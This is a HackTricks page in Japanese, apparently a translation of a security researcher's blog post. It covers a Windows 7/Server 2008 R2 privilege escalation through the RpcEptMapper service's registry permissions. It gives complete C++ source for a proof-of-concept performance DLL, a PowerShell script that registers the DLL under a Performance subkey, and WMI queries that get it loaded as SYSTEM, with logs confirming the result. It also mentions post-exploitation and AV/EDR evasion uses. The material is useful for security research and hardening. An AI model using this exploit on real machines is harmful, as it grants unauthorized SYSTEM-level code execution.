hacktricks/windows-hardening/windows-local-privilege-escalation/appenddata-addsubdirectory-permission-over-service-registry.md

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

• サイバーセキュリティ会社で働いていますか？ HackTricksで会社を宣伝したいですか？または、最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロードしたいですか？SUBSCRIPTION PLANSをチェックしてください！

• The PEASS Familyを見つけてください。独占的なNFTのコレクションです。

• 公式のPEASS＆HackTricksのグッズを手に入れましょう。

• 💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm。

• **ハッキングのトリックを共有するには、hacktricksリポジトリとhacktricks-cloudリポジトリ**にPRを提出してください。

情報はここからコピー https://itm4n.github.io/windows-registry-rpceptmapper-eop/

スクリプトの出力によると、現在のユーザーは2つのレジストリキーに対していくつかの書き込み権限を持っています。

• HKLM\SYSTEM\CurrentControlSet\Services\Dnscache
• HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper

regedit GUIを使用して、RpcEptMapperサービスの権限を手動で確認しましょう。私が本当に気に入っているのは、_Advanced Security Settings_ウィンドウの_Effective Permissions_タブです。任意のユーザーまたはグループ名を選択すると、個別にすべてのACEを調査する必要なく、この主体に付与された有効な権限がすぐに表示されます。次のスクリーンショットは、低特権のlab-userアカウントの結果を示しています。

ほとんどの権限は標準です（例：Query Value）が、特に1つが目立ちます：Create Subkey。この権限に対応する一般的な名前はAppendData/AddSubdirectoryであり、スクリプトで報告された内容とまったく同じです。

Name              : RpcEptMapper
ImagePath         : C:\Windows\system32\svchost.exe -k RPCSS
User              : NT AUTHORITY\NetworkService
ModifiablePath    : {Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RpcEptMapper}
IdentityReference : NT AUTHORITY\Authenticated Users
Permissions       : {ReadControl, AppendData/AddSubdirectory, ReadData/ListDirectory}
Status            : Running
UserCanStart      : True
UserCanRestart    : False

Name              : RpcEptMapper
ImagePath         : C:\Windows\system32\svchost.exe -k RPCSS
User              : NT AUTHORITY\NetworkService
ModifiablePath    : {Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RpcEptMapper}
IdentityReference : BUILTIN\Users
Permissions       : {WriteExtendedAttributes, AppendData/AddSubdirectory, ReadData/ListDirectory}
Status            : Running
UserCanStart      : True
UserCanRestart    : False

これは正確に何を意味していますか？これは、たとえばImagePathの値を変更することはできないということを意味しています。そのためには、WriteData/AddFileの許可が必要です。代わりに、新しいサブキーの作成のみが可能です。

これは本当に誤検知だったのでしょうか？確かにそうではありません。楽しみましょう！

RTFM

この時点で、HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapperの下に任意のサブキーを作成できることはわかっていますが、既存のサブキーと値を変更することはできません。これらの既存のサブキーは、ParametersとSecurityであり、Windowsサービスには一般的なものです。

したがって、最初に思い浮かんだ質問は次のとおりです:「ParametersやSecurityのような、効果的にサービスの構成を変更し、動作を変更するために利用できる他の事前定義されたサブキーはあるのでしょうか？」

この質問に答えるために、最初の計画はすべての既存のキーを列挙し、パターンを特定することでした。アイデアは、サービスの構成にとって「意味のある」サブキーを見ることでした。これをPowerShellで実装し、結果をソートすることができるかどうか考え始めました。しかし、それを行う前に、このレジストリ構造が既に文書化されているかどうか疑問に思いました。そのため、windows service configuration registry site:microsoft.comのようなキーワードでGoogle検索を行い、最初の結果が表示されました。

有望ですね。一見すると、ドキュメントは完全ではないように思えました。タイトルを考慮すると、サービスの構成を定義するすべてのサブキーと値を詳細に説明したツリー構造が表示されることを期待していましたが、明らかにそこにはありませんでした。

それでも、各段落をざっと見てみました。そして、「Performance」と「DLL」というキーワードにすぐに気付きました。「Perfomance」の小見出しの下では、次のように説明されています。

Performance: オプションのパフォーマンスモニタリングの情報を指定するキーです。このキーの値は、ドライバのパフォーマンスDLLの名前と、そのDLLの特定のエクスポートされた関数の名前を指定します。ドライバのINFファイルのAddRegエントリを使用して、このサブキーに値エントリを追加できます。

この短い段落によると、Performanceサブキーを使用して、ドライバサービスにDLLを登録してパフォーマンスを監視することが理論的に可能です。これは非常に興味深いです！ このキーはRpcEptMapperサービスのデフォルトでは存在しないので、まさに必要なもののようです。ただし、このサービスは明らかにドライバサービスではありません。とにかく、試してみる価値はありますが、「パフォーマンスモニタリング」機能についてのさらなる情報が必要です。

注意: Windowsでは、各サービスには特定のTypeがあります。サービスのタイプは次の値のいずれかであることがあります: SERVICE_KERNEL_DRIVER (1), SERVICE_FILE_SYSTEM_DRIVER (2), SERVICE_ADAPTER (4), SERVICE_RECOGNIZER_DRIVER (8), SERVICE_WIN32_OWN_PROCESS (16), SERVICE_WIN32_SHARE_PROCESS (32)またはSERVICE_INTERACTIVE_PROCESS (256)。

Google検索をしていくつかの情報を見つけました。ドキュメントには、Creating the Application’s Performance Keyというリソースがあります。

まず、作成する必要のあるすべてのキーと値がリストアップされた素敵なツリー構造があります。その後、説明では次のようなキー情報が与えられています。

• Libraryの値には、DLLの名前またはDLLへの完全なパスを指定できます。
• Open、Collect、Closeの値を使用して、DLLがエクスポートする関数の名前を指定できます。
• これらの値のデータ型はREG_SZです（Libraryの値の場合はREG_EXPAND_SZです）。

このリソースに含まれているリンクをたどると、これらの関数のプロトタイプといくつかのコードサンプルが見つかります: Implementing OpenPerformanceData。

DWORD APIENTRY OpenPerfData(LPWSTR pContext);
DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned);
DWORD APIENTRY ClosePerfData();

Proof-of-Conceptの作成

ドキュメント全体から収集したビットとピースのおかげで、シンプルなProof-of-Concept DLLを作成することは非常に簡単です。しかし、それでも計画が必要です！

DLLハイジャックの脆弱性を悪用する必要がある場合、通常はシンプルでカスタムなログヘルパー関数から始めます。この関数の目的は、呼び出されるたびにいくつかの重要な情報をファイルに書き込むことです。通常、現在のプロセスと親プロセスのPID、プロセスを実行しているユーザーの名前、対応するコマンドラインをログに記録します。また、このログイベントをトリガーした関数の名前も記録します。これにより、どのコードの部分が実行されたかがわかります。

他の記事では、開発部分を省略していましたが、それはほぼ明らかだと思っていました。しかし、私のブログ投稿は初心者にも分かりやすいものにしたいと思っているので、矛盾があります。ここではこの状況を解消するために、プロセスの詳細な説明を行います。では、Visual Studioを起動して新しい「C++ Console App」プロジェクトを作成しましょう。注意点として、「Dynamic-Link Library (DLL)」プロジェクトを作成することもできますが、実際にはコンソールアプリから始める方が簡単だと思います。

以下は、Visual Studioによって生成された初期コードです：

#include <iostream>

int main()
{
std::cout << "Hello World!\n";
}

もちろん、それは私たちが望むものではありません。私たちはDLLを作成したいので、main関数をDllMainに置き換える必要があります。この関数のスケルトンコードはドキュメントで見つけることができます：DLLの初期化。

#include <Windows.h>

extern "C" BOOL WINAPI DllMain(HINSTANCE const instance, DWORD const reason, LPVOID const reserved)
{
switch (reason)
{
case DLL_PROCESS_ATTACH:
Log(L"DllMain"); // See log helper function below
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

同時に、プロジェクトの設定を変更して、コンパイルされた出力ファイルがEXEではなくDLLであることを指定する必要があります。これを行うには、プロジェクトのプロパティを開き、「一般」セクションで「動的ライブラリ (.dll)」を「構成の種類」として選択します。タイトルバーのすぐ下にある「すべての構成」と「すべてのプラットフォーム」も選択して、この設定をグローバルに適用できるようにします。

次に、カスタムのログヘルパー関数を追加します。

#include <Lmcons.h> // UNLEN + GetUserName
#include <tlhelp32.h> // CreateToolhelp32Snapshot()
#include <strsafe.h>

void Log(LPCWSTR pwszCallingFrom)
{
LPWSTR pwszBuffer, pwszCommandLine;
WCHAR wszUsername[UNLEN + 1] = { 0 };
SYSTEMTIME st = { 0 };
HANDLE hToolhelpSnapshot;
PROCESSENTRY32 stProcessEntry = { 0 };
DWORD dwPcbBuffer = UNLEN, dwBytesWritten = 0, dwProcessId = 0, dwParentProcessId = 0, dwBufSize = 0;
BOOL bResult = FALSE;

// Get the command line of the current process
pwszCommandLine = GetCommandLine();

// Get the name of the process owner
GetUserName(wszUsername, &dwPcbBuffer);

// Get the PID of the current process
dwProcessId = GetCurrentProcessId();

// Get the PID of the parent process
hToolhelpSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
stProcessEntry.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(hToolhelpSnapshot, &stProcessEntry)) {
do {
if (stProcessEntry.th32ProcessID == dwProcessId) {
dwParentProcessId = stProcessEntry.th32ParentProcessID;
break;
}
} while (Process32Next(hToolhelpSnapshot, &stProcessEntry));
}
CloseHandle(hToolhelpSnapshot);

// Get the current date and time
GetLocalTime(&st);

// Prepare the output string and log the result
dwBufSize = 4096 * sizeof(WCHAR);
pwszBuffer = (LPWSTR)malloc(dwBufSize);
if (pwszBuffer)
{
StringCchPrintf(pwszBuffer, dwBufSize, L"[%.2u:%.2u:%.2u] - PID=%d - PPID=%d - USER='%s' - CMD='%s' - METHOD='%s'\r\n",
st.wHour,
st.wMinute,
st.wSecond,
dwProcessId,
dwParentProcessId,
wszUsername,
pwszCommandLine,
pwszCallingFrom
);

LogToFile(L"C:\\LOGS\\RpcEptMapperPoc.log", pwszBuffer);

free(pwszBuffer);
}
}

次に、私たちはDLLにドキュメントで見た3つの関数を追加します。ドキュメントには、成功した場合にERROR_SUCCESSを返すべきだとも記載されています。

DWORD APIENTRY OpenPerfData(LPWSTR pContext)
{
Log(L"OpenPerfData");
return ERROR_SUCCESS;
}

DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned)
{
Log(L"CollectPerfData");
return ERROR_SUCCESS;
}

DWORD APIENTRY ClosePerfData()
{
Log(L"ClosePerfData");
return ERROR_SUCCESS;
}

Ok、プロジェクトは正しく設定されました。DllMainが実装され、ログヘルパー関数と必要な3つの関数があります。ただし、最後に1つだけ不足しています。このコードをコンパイルすると、OpenPerfData、CollectPerfData、ClosePerfDataは内部関数としてのみ利用可能になるため、エクスポートする必要があります。これはいくつかの方法で実現できます。たとえば、DEFファイルを作成し、プロジェクトを適切に設定することができます。ただし、私は特にこのような小さなプロジェクトでは、__declspec(dllexport)キーワード（doc）を使用することを好みます。この方法では、ソースコードの先頭で3つの関数を宣言するだけで済みます。

extern "C" __declspec(dllexport) DWORD APIENTRY OpenPerfData(LPWSTR pContext);
extern "C" __declspec(dllexport) DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned);
extern "C" __declspec(dllexport) DWORD APIENTRY ClosePerfData();

完全なコードを見たい場合は、こちらにアップロードしました。

最後に、Release/x64 を選択し、「ソリューションをビルド」します。これにより、次のDLLファイルが生成されます：.\DllRpcEndpointMapperPoc\x64\Release\DllRpcEndpointMapperPoc.dll。

PoCのテスト

さらに進む前に、ペイロードが正常に動作していることを常に確認するために、別々にテストすることをお勧めします。ここで少し時間をかけることで、仮想的なデバッグフェーズ中に迷路に迷い込むことを防ぐため、後で多くの時間を節約できます。そのために、単純にrundll32.exeを使用し、DLLの名前とエクスポートされた関数の名前をパラメータとして渡すことができます。

C:\Users\lab-user\Downloads\>rundll32 DllRpcEndpointMapperPoc.dll,OpenPerfData

素晴らしい、ログファイルが作成されました。開いてみると、2つのエントリが表示されます。最初のエントリは、rundll32.exeによってDLLがロードされたときに書き込まれました。2番目のエントリは、OpenPerfDataが呼び出されたときに書き込まれました。うまくいっていますね！😊

[21:25:34] - PID=3040 - PPID=2964 - USER='lab-user' - CMD='rundll32  DllRpcEndpointMapperPoc.dll,OpenPerfData' - METHOD='DllMain'
[21:25:34] - PID=3040 - PPID=2964 - USER='lab-user' - CMD='rundll32  DllRpcEndpointMapperPoc.dll,OpenPerfData' - METHOD='OpenPerfData'

よし、では実際の脆弱性に焦点を当てて、必要なレジストリキーと値の作成を始めましょう。これは、reg.exe / regedit.exeを使用して手動で行うか、スクリプトを使用してプログラム的に行うことができます。初期の調査中に手動で手順を実行したので、同じことをより簡潔に行うPowerShellスクリプトを示します。また、PowerShellでレジストリキーと値を作成するのは、New-ItemとNew-ItemPropertyを呼び出すだけですね。

要求されたレジストリ アクセスが許可されていません... うーん、そうですか... 結局、そんなに簡単ではないようですね。

この問題についてはあまり調査していませんが、おそらくNew-Itemを呼び出すとき、powershell.exeは実際には親のレジストリキーをいくつかのフラグとともに開こうとしていて、それが私たちが持っていない権限に対応しているのかもしれません。

とにかく、組み込みのコマンドレットがうまくいかない場合は、常に1つ下のレベルに移動して、直接DotNet関数を呼び出すことができます。実際には、次のコードでレジストリキーもPowerShellで作成できます。

[Microsoft.Win32.Registry]::LocalMachine.CreateSubKey("SYSTEM\CurrentControlSet\Services\RpcEptMapper\Performance")

さあ、始めましょう！最終的に、適切なキーと値を作成し、ユーザーの入力を待ち、最後にすべてをクリーンアップして終了するために、以下のスクリプトをまとめました。

$ServiceKey = "SYSTEM\CurrentControlSet\Services\RpcEptMapper\Performance"

Write-Host "[*] Create 'Performance' subkey"
[void] [Microsoft.Win32.Registry]::LocalMachine.CreateSubKey($ServiceKey)
Write-Host "[*] Create 'Library' value"
New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Library" -Value "$($pwd)\DllRpcEndpointMapperPoc.dll" -PropertyType "String" -Force | Out-Null
Write-Host "[*] Create 'Open' value"
New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Open" -Value "OpenPerfData" -PropertyType "String" -Force | Out-Null
Write-Host "[*] Create 'Collect' value"
New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Collect" -Value "CollectPerfData" -PropertyType "String" -Force | Out-Null
Write-Host "[*] Create 'Close' value"
New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Close" -Value "ClosePerfData" -PropertyType "String" -Force | Out-Null

Read-Host -Prompt "Press any key to continue"

Write-Host "[*] Cleanup"
Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Library" -Force
Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Open" -Force
Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Collect" -Force
Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Close" -Force
[Microsoft.Win32.Registry]::LocalMachine.DeleteSubKey($ServiceKey)

最後のステップは、RPCエンドポイントマッパーサービスをどのようにして私たちのパフォーマンスDLLを読み込ませるかです。残念ながら、私は試したさまざまなことを追跡していません。このブログ記事の文脈では、研究がどれだけ手間と時間がかかることがあるかを強調することは非常に興味深いでしょう。とにかく、途中で見つけたことの一つは、WMI（Windows Management Instrumentation）を使用して_パフォーマンスカウンター_をクエリできることです。これはあまり驚くべきことではありません。詳細はこちら：WMIパフォーマンスカウンタータイプ。

カウンタータイプは、 Win32_PerfRawData クラスのプロパティのCounterType修飾子として表示され、 Win32_PerfFormattedData クラスのプロパティのCookingType修飾子として表示されます。

したがって、最初に次のコマンドを使用して、PowerShellで_パフォーマンスデータ_に関連するWMIクラスを列挙しました。

Get-WmiObject -List | Where-Object { $_.Name -Like "Win32_Perf*" }

そして、私はログファイルがほぼすぐに作成されたことに気付きました！以下はファイルの内容です。

[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='DllMain'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='OpenPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'

予想では、最大でもRpcEptMapperサービスのコンテキストでNETWORK SERVICEとして任意のコードを実行できると思っていましたが、予想以上の結果が得られました。実際には、WMIサービス自体のコンテキストで任意のコードを実行できました。このサービスはLOCAL SYSTEMとして実行されています。素晴らしい結果ですね！

注意: もしNETWORK SERVICEとして任意のコードを実行できた場合、数ヶ月前にJames Forshawがこのブログ記事でデモンストレーションしたトリックによって、LOCAL SYSTEMアカウントまであと一歩のところでした: Sharing a Logon Session a Little Too Much。

また、各WMIクラスを個別に試してみましたが、同じ結果が得られました。

Get-WmiObject Win32_Perf
Get-WmiObject Win32_PerfRawData
Get-WmiObject Win32_PerfFormattedData

結論

なぜこの脆弱性が長い間見逃されていたのかはわかりません。一つの説明としては、他のツールはおそらくレジストリでの完全な書き込みアクセスを探していたのに対し、この場合はAppendData/AddSubdirectoryだけで十分だったからかもしれません。「誤構成」自体については、レジストリキーが特定の目的でこのように設定されていたと思われますが、具体的なシナリオでは、ユーザーがサービスの構成を変更する権限を持つことは考えられません。

この特権昇格の脆弱性について公開することを決めた理由は2つあります。最初の理由は、数ヶ月前にGetModfiableRegistryPath関数を使用してPrivescCheckスクリプトを更新した日に、実際に公開したからです（最初は気づかなかった）。2つ目の理由は、その影響が低いことです。これにはローカルアクセスが必要であり、サポートが終了した古いバージョンのWindowsにのみ影響を与えます（拡張サポートを購入している場合を除く）。この時点で、Windows 7 / Server 2008 R2をまだ適切にネットワーク内で分離せずに使用している場合、システム特権を取得する攻撃者を防ぐことはおそらく最も心配すべきことではないでしょう。

この特権昇格の脆弱性の逸話的な側面を除いて、この「Perfomance」レジストリ設定は、ポストエクスプロイト、横方向移動、AV/EDR回避に関して非常に興味深い機会を提供していると思います。すでにいくつかの具体的なシナリオを考えていますが、まだいずれもテストしていません。続く...。

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

• サイバーセキュリティ企業で働いていますか？ HackTricksで会社を宣伝したいですか？または、PEASSの最新バージョンやHackTricksのPDFをダウンロードしたいですか？SUBSCRIPTION PLANSをチェックしてください！

• The PEASS Familyを発見しましょう、私たちの独占的なNFTのコレクション

• 公式のPEASS＆HackTricksのグッズを手に入れましょう

• 💬 Discordグループまたはtelegramグループに参加するか、Twitter 🐦@carlospolopmをフォローしてください

• **ハッキングのトリックを共有するには、hacktricksリポジトリとhacktricks-cloudリポジトリ**にPRを提出してください。